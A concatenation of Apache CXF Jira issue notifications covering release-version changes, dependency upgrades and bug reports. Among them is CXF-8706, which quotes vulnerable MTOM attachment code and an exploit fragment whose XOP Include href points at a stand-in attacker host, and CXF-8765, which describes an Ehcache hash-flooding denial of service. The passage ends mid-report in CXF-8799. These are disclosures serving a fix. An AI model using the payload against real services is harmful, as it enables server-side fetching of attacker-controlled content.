[ https://issues.apache.org/jira/browse/CXF-8678?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8678: -- Fix Version/s: 4.0.0 (was: 4.0.1) > Update to Apache HttpClient5 5.2 > > > Key: CXF-8678 > URL: https://issues.apache.org/jira/browse/CXF-8678 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0 > > > Once Apache HttpClient5 5.2 is out, we could refactor the > [hc5/AsyncHTTPConduit.java|https://github.com/apache/cxf/pull/923/files#diff-ffdced03fe3494b30838dad9d488dd80fceb4c2f484eb9ff89fc25b80e5e1490] > to use HttpContext for TLS lookup propagation (much like 4.x does). > Currently, without context-aware settings, AsyncHTTPConduitFactory caches the > client upon first AsyncHTTPConduit connection. However, if there are more > than one AsyncHTTPConduit, each with different TLS settings, the client is > not recreated and as such, those TLS settings are not taken into account. > > https://mvnrepository.com/artifact/org.apache.httpcomponents.client5/httpclient5/5.2 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8671) Support Jakarta EE 10
[ https://issues.apache.org/jira/browse/CXF-8671?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8671: -- Description: Support Jakarta EE 10 Jakarta EE 10 has Landed - [https://jakartaee-ambassadors.io/2022/09/22/jakarta-ee-10-released/] [https://jakarta.ee/release/10/] Updates required: - Undertow 2.3.x - Jetty 12 was: Support Jakarta EE 10 Jakarta EE 10 has Landed - [https://jakartaee-ambassadors.io/2022/09/22/jakarta-ee-10-released/] https://jakarta.ee/release/10/ > Support Jakarta EE 10 > - > > Key: CXF-8671 > URL: https://issues.apache.org/jira/browse/CXF-8671 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Priority: Major > > Support Jakarta EE 10 > Jakarta EE 10 has Landed - > [https://jakartaee-ambassadors.io/2022/09/22/jakarta-ee-10-released/] > [https://jakarta.ee/release/10/] > > Updates required: > - Undertow 2.3.x > - Jetty 12 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Resolved] (CXF-8774) Migration path for jaxb2-basics
[ https://issues.apache.org/jira/browse/CXF-8774?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8774. --- Resolution: Fixed > Migration path for jaxb2-basics > --- > > Key: CXF-8774 > URL: https://issues.apache.org/jira/browse/CXF-8774 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > Affected modules: > cxf-tools-wadlto-jaxrs / WADLToJavaTest.java > Project: > [https://github.com/highsource/jaxb2-basics] > Forks: > [https://github.com/patrodyne/hisrc-basicjaxb] > Related pull requests: > [https://github.com/apache/cxf/pull/1007] > https://github.com/apache/cxf/pull/1013 > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8765) Option to remove Ehcache
[ https://issues.apache.org/jira/browse/CXF-8765?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8765: -- Fix Version/s: 4.1.0 3.7.0 (was: 4.0.0) (was: 3.6.0) > Option to remove Ehcache > > > Key: CXF-8765 > URL: https://issues.apache.org/jira/browse/CXF-8765 > Project: CXF > Issue Type: Improvement > Components: JAX-RS Security >Reporter: Ben Manes >Assignee: Andriy Redko >Priority: Major > Fix For: 4.1.0, 3.7.0 > > > Is it possible to remove or replace Ehcache with an alternative provider? For > example if JCache was used then one could exclude this dependency and > register an alternative. > I would like to ban Ehcache3 from my dependency tree because it is a trivial > target for a hash flooding denial of service attack. Unfortunately this has > been known and ignored by their team since 2015, and I am still able to > trivially introduce this problem in my test workloads (outside of CXF). For > example, in one simple case Ehcache takes 67 minutes whereas a simple LRU > takes 13 seconds. While I have not seen this exploited, at work we are > undergoing SOC-2 compliance and I'd like to shore up known deficiencies by > banning it company-wide. > For background, the problem is that Ehcache uses a forked version of > ConcurrentHashMap. That map uses a very cheap and weak hash function because > it degrades to a red-black tree on collisions, so the problems are mitigated. > Ehcache uses an sampling policy that relies on the entries being uniformly > distributed during its traversal, which if not degrades to O\(n\). It is > trivial to construct a query pattern that is unfriendly to LRU, triggers an > eviction, and results in threads being stuck performing this eviction scan > instead of servicing requests. The solution is to update their fork with a > more robust hash function or ensure that the keys use a good hashCode, which > then drops this runtime to 1.4 minutes. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8679) Upgrade to Netty 5
[ https://issues.apache.org/jira/browse/CXF-8679?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8679: -- Fix Version/s: 3.7.0 4.1.0 (was: 4.0.0) (was: 3.6.0) > Upgrade to Netty 5 > -- > > Key: CXF-8679 > URL: https://issues.apache.org/jira/browse/CXF-8679 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.1.0, 3.7.0 > > > https://github.com/netty/netty/releases/tag/netty-5.0.0.Alpha4 > https://github.com/netty/netty/pull/12735 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8797) NameBinding ignored when implementing interface
[
https://issues.apache.org/jira/browse/CXF-8797?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8797:
--
Fix Version/s: 4.0.1
3.5.6
3.4.11
(was: 4.0.0)
(was: 3.5.5)
(was: 3.4.10)
> NameBinding ignored when implementing interface
> ---
>
> Key: CXF-8797
> URL: https://issues.apache.org/jira/browse/CXF-8797
> Project: CXF
> Issue Type: Bug
> Components: JAX-RS
>Affects Versions: 3.5.4, 3.4.9
>Reporter: Jens Kleine-Herzbruch
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 3.6.0, 4.0.1, 3.5.6, 3.4.11
>
>
> I have the following setup:
> 1. An interface that carries most of the JAX-RS annotations ({{@Path}},
> {{@GET}}, etc.). This interface is provided by a third party.
> 2. A service implementing this interface. This is what I'm developing myself.
> It does not carry any JAX-RS annotations itself.
> 3. A provider ({{ContainerResponseFilter}} in my case) that I now want to
> attach to some of the operations with {{@NameBinding}}.
> Obviously, I can only add the {{@NameBinding}} annotation to the
> implementation class. It looks to me like CXF is only checking against the
> interface carrying the main JAX-RS annotations at runtime, however, so the
> filter is never called.
> If I remove the NameBinding entirely and run the filter as a global filter,
> it works as expected, but of course that's not the intent here.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8691) Logging Feature - Sensitive element with arrays
[
https://issues.apache.org/jira/browse/CXF-8691?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8691:
--
Fix Version/s: 4.0.1
3.5.6
3.4.11
(was: 4.0.0)
(was: 3.5.5)
(was: 3.4.10)
> Logging Feature - Sensitive element with arrays
> ---
>
> Key: CXF-8691
> URL: https://issues.apache.org/jira/browse/CXF-8691
> Project: CXF
> Issue Type: Bug
> Components: JAX-RS
>Affects Versions: 3.4.0, 3.5.1
>Reporter: Daniel
>Assignee: Andriy Redko
>Priority: Minor
> Labels: Logging
> Fix For: 3.6.0, 4.0.1, 3.5.6, 3.4.11
>
>
> Hi,
> I am trying to use the LoggingFeature within cxf-rt and hide sensitive
> element names.
> The code I use looks like the following:
>
> {code:java}
> LoggingFeature loggingFeature = new LoggingFeature();
> loggingFeature.setLogBinary(false);
> loggingFeature.setPrettyLogging(true);
> loggingFeature.setLogMultipart(false);
> loggingFeature.addSensitiveElementNames(new
> HashSet<>(Arrays.asList("password")));
> {code}
> Payload:
> {code:java}
> private final String shortName;
> private final char[] password;
> {code}
>
> Output:
>
> {code:java}
> [services.MyWebservicePort.REQ_OUT] INFO - REQ_OUT
> Address: http://
> HttpMethod: POST
> Content-Type: application/json
> ExchangeId: 560b73ae-e7e0-4687-9674-19ee72995a08
> Headers: {Accept=text/plain, Accept-Encoding=gzip;q=1.0, identity; q=0.5,
> *;q=0, Content-Type=application/json}
> Payload:
> {"shortName":"UserName","password":["G","e","h","e","i","m","1","2","3","!"]}
> {code}
> As you can see, my password is not hidden in the output of the payload. It is
> important to mention, that the field "password" in my code is declared as a
> char-array.
> However, if I add "shortName" to the sensetiveElementNames, everything works
> as expected. The shortName is hidden (XXX), due to it beeing declared as a
> String.
> I looked at the source code an tracked the problem down to a regex.
> "password" is not found, as the value is an array (MarkSensetiveHelper.java)
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8743) Update to GraalVM 22.3
[ https://issues.apache.org/jira/browse/CXF-8743?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8743: -- Fix Version/s: 3.5.6 3.4.11 > Update to GraalVM 22.3 > -- > > Key: CXF-8743 > URL: https://issues.apache.org/jira/browse/CXF-8743 > Project: CXF > Issue Type: Improvement > Components: graalvm >Affects Versions: 3.5.3, 3.4.8 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 3.6.0, 4.1.0, 3.5.6, 3.4.11 > > > https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.2.0 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8743) Update to GraalVM 22.3
[ https://issues.apache.org/jira/browse/CXF-8743?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8743: -- Fix Version/s: 4.1.0 (was: 3.5.5) (was: 3.4.10) > Update to GraalVM 22.3 > -- > > Key: CXF-8743 > URL: https://issues.apache.org/jira/browse/CXF-8743 > Project: CXF > Issue Type: Improvement > Components: graalvm >Affects Versions: 3.5.3, 3.4.8 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 3.6.0, 4.1.0 > > > https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.2.0 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Resolved] (CXF-8706) CXF MTOM handler allow content injection
[
https://issues.apache.org/jira/browse/CXF-8706?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko resolved CXF-8706.
---
Resolution: Fixed
> CXF MTOM handler allow content injection
>
>
> Key: CXF-8706
> URL: https://issues.apache.org/jira/browse/CXF-8706
> Project: CXF
> Issue Type: Bug
> Components: JAXB Databinding
>Affects Versions: 3.5.2
>Reporter: Chunqing Lin
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.5, 3.4.10
>
>
> When used with SOAP web service or JAXRS web service with MTOM enabled,
> Unmarshaller allows XOP Include tag to have href attributes that allow any
> protocols. According to the W3C MTOM spec, only "cid:" should be allowed for
> href scheme.
> The affected call stack is:
> AttachmentUtil.getAttachmentDataSource(String, Collection)
> line: 554
> JAXBAttachmentUnmarshaller.getAttachmentAsDataHandler(String) line: 49
> MTOMDecorator.startElement(TagName) line: 70
> The source code is:
> public static DataSource getAttachmentDataSource(String contentId,
> Collection atts) {
> // Is this right? - DD
> if (contentId.startsWith("cid:")) {
> try {
> contentId = URLDecoder.decode(contentId.substring(4),
> StandardCharsets.UTF_8.name());
> } catch (UnsupportedEncodingException ue) {
> contentId = contentId.substring(4);
> }
> return loadDataSource(contentId, atts);
> } else if (contentId.indexOf("://") == -1) {
> return loadDataSource(contentId, atts);
> } else {// should only take cid for XOP
> try {
> return new URLDataSource(new URL(contentId));
> } catch (MalformedURLException e) {
> throw new Fault(e);
> }
> }
> }
>
> The exploit can send payload containing:
> http://attackers.site/exploit/payload;
> xmlns:inc="http://www.w3.org/2004/08/xop/include"/>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Assigned] (CXF-8774) Migration path for jaxb2-basics
[ https://issues.apache.org/jira/browse/CXF-8774?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko reassigned CXF-8774: - Assignee: Andriy Redko > Migration path for jaxb2-basics > --- > > Key: CXF-8774 > URL: https://issues.apache.org/jira/browse/CXF-8774 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > Affected modules: > cxf-tools-wadlto-jaxrs / WADLToJavaTest.java > Project: > [https://github.com/highsource/jaxb2-basics] > Forks: > [https://github.com/patrodyne/hisrc-basicjaxb] > Related pull requests: > [https://github.com/apache/cxf/pull/1007] > https://github.com/apache/cxf/pull/1013 > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Assigned] (CXF-8763) Migrate to Jakarta WebSocket (from Jetty Websockets)
[ https://issues.apache.org/jira/browse/CXF-8763?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko reassigned CXF-8763: - Assignee: Andriy Redko > Migrate to Jakarta WebSocket (from Jetty Websockets) > > > Key: CXF-8763 > URL: https://issues.apache.org/jira/browse/CXF-8763 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.1 > > > Migrate from Jetty WebSockets to Jakarta WebSockets -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8763) Migrate to Jakarta WebSocket (from Jetty Websockets)
[ https://issues.apache.org/jira/browse/CXF-8763?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8763: -- Fix Version/s: 4.0.1 (was: 4.0.0) > Migrate to Jakarta WebSocket (from Jetty Websockets) > > > Key: CXF-8763 > URL: https://issues.apache.org/jira/browse/CXF-8763 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Priority: Major > Fix For: 4.0.1 > > > Migrate from Jetty WebSockets to Jakarta WebSockets -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8763) Migrate to Jakarta WebSocket (from Jetty Websockets)
[ https://issues.apache.org/jira/browse/CXF-8763?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8763: -- Summary: Migrate to Jakarta WebSocket (from Jetty Websockets) (was: Migration path for Jakarta WebSocket) > Migrate to Jakarta WebSocket (from Jetty Websockets) > > > Key: CXF-8763 > URL: https://issues.apache.org/jira/browse/CXF-8763 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > Migrate from Jetty WebSockets to Jakarta WebSockets -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8763) Migration path for Jakarta WebSocket
[ https://issues.apache.org/jira/browse/CXF-8763?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8763: -- Parent: (was: CXF-8371) Issue Type: Improvement (was: Sub-task) > Migration path for Jakarta WebSocket > > > Key: CXF-8763 > URL: https://issues.apache.org/jira/browse/CXF-8763 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > Migrate from Jetty WebSockets to Jakarta WebSockets -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8758) Migration path for Wiremock (Jetty 11/JakartaEE)
[ https://issues.apache.org/jira/browse/CXF-8758?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8758: -- Summary: Migration path for Wiremock (Jetty 11/JakartaEE) (was: Migration path for Wiremock (Jetty 11)) > Migration path for Wiremock (Jetty 11/JakartaEE) > > > Key: CXF-8758 > URL: https://issues.apache.org/jira/browse/CXF-8758 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.1 > > > [https://github.com/wiremock/wiremock/issues/1760] -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8758) Migration path for Wiremock
[ https://issues.apache.org/jira/browse/CXF-8758?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8758: -- Parent: (was: CXF-8371) Issue Type: Improvement (was: Sub-task) > Migration path for Wiremock > --- > > Key: CXF-8758 > URL: https://issues.apache.org/jira/browse/CXF-8758 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > [https://github.com/wiremock/wiremock/issues/1760] -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8758) Migration path for Wiremock (Jetty 11)
[ https://issues.apache.org/jira/browse/CXF-8758?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8758: -- Summary: Migration path for Wiremock (Jetty 11) (was: Migration path for Wiremock) > Migration path for Wiremock (Jetty 11) > -- > > Key: CXF-8758 > URL: https://issues.apache.org/jira/browse/CXF-8758 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.1 > > > [https://github.com/wiremock/wiremock/issues/1760] -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8758) Migration path for Wiremock
[ https://issues.apache.org/jira/browse/CXF-8758?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8758: -- Fix Version/s: 4.0.1 (was: 4.0.0) > Migration path for Wiremock > --- > > Key: CXF-8758 > URL: https://issues.apache.org/jira/browse/CXF-8758 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.1 > > > [https://github.com/wiremock/wiremock/issues/1760] -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Resolved] (CXF-8790) Update the migration guide
[ https://issues.apache.org/jira/browse/CXF-8790?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8790. --- Resolution: Fixed > Update the migration guide > -- > > Key: CXF-8790 > URL: https://issues.apache.org/jira/browse/CXF-8790 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > https://cwiki.apache.org/confluence/display/CXF20DOC/4.0+Migration+Guide -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8678) Update to Apache HttpClient5 5.2
[ https://issues.apache.org/jira/browse/CXF-8678?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8678: -- Fix Version/s: 3.6.0 > Update to Apache HttpClient5 5.2 > > > Key: CXF-8678 > URL: https://issues.apache.org/jira/browse/CXF-8678 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 3.6.0, 4.0.1 > > > Once Apache HttpClient5 5.2 is out, we could refactor the > [hc5/AsyncHTTPConduit.java|https://github.com/apache/cxf/pull/923/files#diff-ffdced03fe3494b30838dad9d488dd80fceb4c2f484eb9ff89fc25b80e5e1490] > to use HttpContext for TLS lookup propagation (much like 4.x does). > Currently, without context-aware settings, AsyncHTTPConduitFactory caches the > client upon first AsyncHTTPConduit connection. However, if there are more > than one AsyncHTTPConduit, each with different TLS settings, the client is > not recreated and as such, those TLS settings are not taken into account. > > https://mvnrepository.com/artifact/org.apache.httpcomponents.client5/httpclient5/5.2 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8606) Introduce HTTP/2 Transport: client-side support
[ https://issues.apache.org/jira/browse/CXF-8606?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8606: -- Fix Version/s: 4.0.1 > Introduce HTTP/2 Transport: client-side support > --- > > Key: CXF-8606 > URL: https://issues.apache.org/jira/browse/CXF-8606 > Project: CXF > Issue Type: Sub-task >Affects Versions: 3.4.5 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 3.6.0, 4.0.1 > > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8147) Portable features should be the default choice (instead of CXF's specific ones)
[ https://issues.apache.org/jira/browse/CXF-8147?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8147: -- Fix Version/s: 4.1.0 > Portable features should be the default choice (instead of CXF's specific > ones) > --- > > Key: CXF-8147 > URL: https://issues.apache.org/jira/browse/CXF-8147 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.1.0 > > > The Portable features should be the default choice going forward, instead of > CXF's proprietary ones. They should be annotated with JAX-RS @Provider > annotation (where it makes sense) and picked up by automatic discovery > mechanisms. > > CC [~romain.manni-bucau] -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8678) Update to Apache HttpClient5 5.2
[ https://issues.apache.org/jira/browse/CXF-8678?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8678: -- Fix Version/s: 4.0.1 > Update to Apache HttpClient5 5.2 > > > Key: CXF-8678 > URL: https://issues.apache.org/jira/browse/CXF-8678 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.1 > > > Once Apache HttpClient5 5.2 is out, we could refactor the > [hc5/AsyncHTTPConduit.java|https://github.com/apache/cxf/pull/923/files#diff-ffdced03fe3494b30838dad9d488dd80fceb4c2f484eb9ff89fc25b80e5e1490] > to use HttpContext for TLS lookup propagation (much like 4.x does). > Currently, without context-aware settings, AsyncHTTPConduitFactory caches the > client upon first AsyncHTTPConduit connection. However, if there are more > than one AsyncHTTPConduit, each with different TLS settings, the client is > not recreated and as such, those TLS settings are not taken into account. > > https://mvnrepository.com/artifact/org.apache.httpcomponents.client5/httpclient5/5.2 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8678) Update to Apache HttpClient5 5.2
[ https://issues.apache.org/jira/browse/CXF-8678?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8678: -- Fix Version/s: (was: 4.0.0) > Update to Apache HttpClient5 5.2 > > > Key: CXF-8678 > URL: https://issues.apache.org/jira/browse/CXF-8678 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > > Once Apache HttpClient5 5.2 is out, we could refactor the > [hc5/AsyncHTTPConduit.java|https://github.com/apache/cxf/pull/923/files#diff-ffdced03fe3494b30838dad9d488dd80fceb4c2f484eb9ff89fc25b80e5e1490] > to use HttpContext for TLS lookup propagation (much like 4.x does). > Currently, without context-aware settings, AsyncHTTPConduitFactory caches the > client upon first AsyncHTTPConduit connection. However, if there are more > than one AsyncHTTPConduit, each with different TLS settings, the client is > not recreated and as such, those TLS settings are not taken into account. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8678) Update to Apache HttpClient5 5.2
[ https://issues.apache.org/jira/browse/CXF-8678?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8678: -- Description: Once Apache HttpClient5 5.2 is out, we could refactor the [hc5/AsyncHTTPConduit.java|https://github.com/apache/cxf/pull/923/files#diff-ffdced03fe3494b30838dad9d488dd80fceb4c2f484eb9ff89fc25b80e5e1490] to use HttpContext for TLS lookup propagation (much like 4.x does). Currently, without context-aware settings, AsyncHTTPConduitFactory caches the client upon first AsyncHTTPConduit connection. However, if there are more than one AsyncHTTPConduit, each with different TLS settings, the client is not recreated and as such, those TLS settings are not taken into account. https://mvnrepository.com/artifact/org.apache.httpcomponents.client5/httpclient5/5.2 was:Once Apache HttpClient5 5.2 is out, we could refactor the [hc5/AsyncHTTPConduit.java|https://github.com/apache/cxf/pull/923/files#diff-ffdced03fe3494b30838dad9d488dd80fceb4c2f484eb9ff89fc25b80e5e1490] to use HttpContext for TLS lookup propagation (much like 4.x does). Currently, without context-aware settings, AsyncHTTPConduitFactory caches the client upon first AsyncHTTPConduit connection. However, if there are more than one AsyncHTTPConduit, each with different TLS settings, the client is not recreated and as such, those TLS settings are not taken into account. > Update to Apache HttpClient5 5.2 > > > Key: CXF-8678 > URL: https://issues.apache.org/jira/browse/CXF-8678 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > > Once Apache HttpClient5 5.2 is out, we could refactor the > [hc5/AsyncHTTPConduit.java|https://github.com/apache/cxf/pull/923/files#diff-ffdced03fe3494b30838dad9d488dd80fceb4c2f484eb9ff89fc25b80e5e1490] > to use HttpContext for TLS lookup propagation (much like 4.x does). > Currently, without context-aware settings, AsyncHTTPConduitFactory caches the > client upon first AsyncHTTPConduit connection. However, if there are more > than one AsyncHTTPConduit, each with different TLS settings, the client is > not recreated and as such, those TLS settings are not taken into account. > > https://mvnrepository.com/artifact/org.apache.httpcomponents.client5/httpclient5/5.2 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8147) Portable features should be the default choice (instead of CXF's specific ones)
[ https://issues.apache.org/jira/browse/CXF-8147?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8147: -- Fix Version/s: (was: 4.0.0) > Portable features should be the default choice (instead of CXF's specific > ones) > --- > > Key: CXF-8147 > URL: https://issues.apache.org/jira/browse/CXF-8147 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > > The Portable features should be the default choice going forward, instead of > CXF's proprietary ones. They should be annotated with JAX-RS @Provider > annotation (where it makes sense) and picked up by automatic discovery > mechanisms. > > CC [~romain.manni-bucau] -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8606) Introduce HTTP/2 Transport: client-side support
[ https://issues.apache.org/jira/browse/CXF-8606?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8606: -- Fix Version/s: (was: 3.5.5) (was: 3.4.10) > Introduce HTTP/2 Transport: client-side support > --- > > Key: CXF-8606 > URL: https://issues.apache.org/jira/browse/CXF-8606 > Project: CXF > Issue Type: Sub-task >Affects Versions: 3.4.5 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0 > > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8606) Introduce HTTP/2 Transport: client-side support
[ https://issues.apache.org/jira/browse/CXF-8606?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8606: -- Fix Version/s: (was: 4.0.0) > Introduce HTTP/2 Transport: client-side support > --- > > Key: CXF-8606 > URL: https://issues.apache.org/jira/browse/CXF-8606 > Project: CXF > Issue Type: Sub-task >Affects Versions: 3.4.5 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 3.6.0 > > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8799) Unxepected URLEncode in MTOM Content-Id
[
https://issues.apache.org/jira/browse/CXF-8799?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8799:
--
Description:
Commit
https://github.com/apache/cxf/commit/ffba34eed2d5b4af22a93c100e4687e234d53b28#diff-e3efb80d0a98bbbd7f6eddd3c021c5fb5ab05ea2ee8d97dc68026f6345e5a509
by @reta had changed how `Content-Id` is being dumped to headers.
First of all, thank you for the bold point of doing this, referring to the
RFCs.
Let's have a look at the line 243 in particular
Provided that `attachmentId` is of format `uuid@domain` it works as exepected,
however, `attachmentId` is being generated by CXF in routine
https://github.com/apache/cxf/blob/2ad9d0b2eef17c0d57d3cb96f3b2cecd1e704869/core/src/main/java/org/apache/cxf/attachment/AttachmentUtil.java#L230
which results in `uuid@urn:xml:namespace` on some inputs.
This input leads to the Header being URL encoded.
Issues with this header are known for a while
https://issues.apache.org/jira/browse/CXF-2669
What's important is how do the SOAP servers treat URL-encoded `Content-Id`.
In my experience, IRS.gov does not match
{noformat}
Content-ID:
<3315f978-0190-4bc2-8a97-f766a78a7946-1@urn%3Aus%3Agov%3Atreasury%3Airs%3Acommon>
with previously defined reference{noformat}
{noformat}
http://www.w3.org/2004/08/xop/include;
href="cid:3315f978-0190-4bc2-8a97-f766a78a7946-1@urn%3Aus%3Agov%3Atreasury%3Airs%3Acommon"/>
which is basically the same and _should_ match.{noformat}
That said, it's well-known issue in the wild
1. https://access.redhat.com/solutions/2062163
2. https://access.redhat.com/solutions/4076871
The latter points to the fact that there should be no URL-encoded symbols in
`Content-Id`, which is met by @reta's commit.
> Unxepected URLEncode in MTOM Content-Id
> ---
>
> Key: CXF-8799
> URL: https://issues.apache.org/jira/browse/CXF-8799
> Project: CXF
> Issue Type: Bug
>Affects Versions: 3.5.4, 3.4.9
>Reporter: Andriy Redko
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.5, 3.4.10
>
>
> Commit
> https://github.com/apache/cxf/commit/ffba34eed2d5b4af22a93c100e4687e234d53b28#diff-e3efb80d0a98bbbd7f6eddd3c021c5fb5ab05ea2ee8d97dc68026f6345e5a509
> by @reta had changed how `Content-Id` is being dumped to headers.
> First of all, thank you for the bold point of doing this, referring to the
> RFCs.
> Let's have a look at the line 243 in particular
> Provided that `attachmentId` is of format `uuid@domain` it works as
> exepected, however, `attachmentId` is being generated by CXF in routine
